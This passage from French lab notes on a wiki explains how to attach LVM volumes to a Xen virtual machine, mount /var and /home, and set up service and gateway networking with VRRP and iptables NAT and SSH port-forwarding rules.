Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter nos volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher nos volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : tu déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, tu as un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* Tu crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP tu es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Tu verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. Tu peux matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre nos VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; tu mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* nos machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
=== MASCARED D'IP ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème ====&lt;br /&gt;
VM de service sont en '''IPv4 privé''' (ex: &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Ces adresses '''ne sont pas routables sur Internet''' (elles n’existent pas “officiellement” sur le réseau public).&lt;br /&gt;
&lt;br /&gt;
Donc si une VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; envoie un paquet vers Internet (ex: &amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;), le monde extérieur ne peut pas répondre directement à &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → c’est une adresse privée.&lt;br /&gt;
&lt;br /&gt;
'''La solution : NAT sortant (Masquerade)'''&lt;br /&gt;
&lt;br /&gt;
La machine '''mandataire''' (Rosemonde dans mon cas) joue le rôle de '''gateway NAT''' :&lt;br /&gt;
&lt;br /&gt;
* '''En interne''' : les services parlent en &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''En externe''' : le mandataire remplace l’IP source par '''son IP publique''' (ex: &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc vu depuis Internet, tout semble venir de &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; :&amp;lt;blockquote&amp;gt;“Quand un paquet sort vers Internet depuis le réseau privé, réécris son IP source avec l’IP publique du mandataire.”&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
Le NAT n’est pas “juste une règle”. Ça marche avec un système d’état appelé '''conntrack''' (suivi de connexions).&lt;br /&gt;
&lt;br /&gt;
Exemple : la VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; fait un &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; vers un serveur public &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La VM envoie :&lt;br /&gt;
&lt;br /&gt;
* source = &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
* destination = &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;&lt;br /&gt;
Le mandataire applique &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; en sortie (POSTROUTING) :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt; (port éventuellement modifié)&lt;br /&gt;
Le mandataire enregistre une “table de correspondance” (conntrack) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt; ↔ &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;&lt;br /&gt;
Quand la réponse revient de &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt; vers &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;,  le mandataire “dé-NAT” automatiquement et renvoie vers :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le NAT permet à '''plusieurs machines privées''' de partager '''une seule IPv4 publique''' grâce à :&lt;br /&gt;
&lt;br /&gt;
* réécriture d’IP&lt;br /&gt;
* réécriture de ports (PAT)&lt;br /&gt;
* suivi d’état (conntrack)&lt;br /&gt;
&lt;br /&gt;
==== Lire un fichier iptables &amp;lt;code&amp;gt;/etc/iptables/rules.v4&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
COMMIT&lt;br /&gt;
# Completed on Thu Jan 22 18:31:33 2026&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
...&lt;br /&gt;
COMMIT&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Les chaînes (ultra important)'''&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : NAT fait ''avant'' que Linux décide où router le paquet  → typiquement '''DNAT''' (port forwarding)&lt;br /&gt;
* '''POSTROUTING''' : NAT fait ''juste avant'' que le paquet sorte sur une interface  → typiquement '''SNAT/MASQUERADE''' (NAT sortant)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ça veut dire :&lt;br /&gt;
&lt;br /&gt;
* Si quelqu’un sur Internet fait :&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
&lt;br /&gt;
Donc tu exposes plusieurs SSH internes via '''un seul serveur public''', en jouant sur les ports.&lt;br /&gt;
&lt;br /&gt;
Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le '''forwarding''' soit autorisé (et éventuellement règles &amp;lt;code&amp;gt;filter&amp;lt;/code&amp;gt; si tu as une politique restrictive). Dans ton cas, tu n’as montré que la table &amp;lt;code&amp;gt;nat&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Traduction :&lt;br /&gt;
&lt;br /&gt;
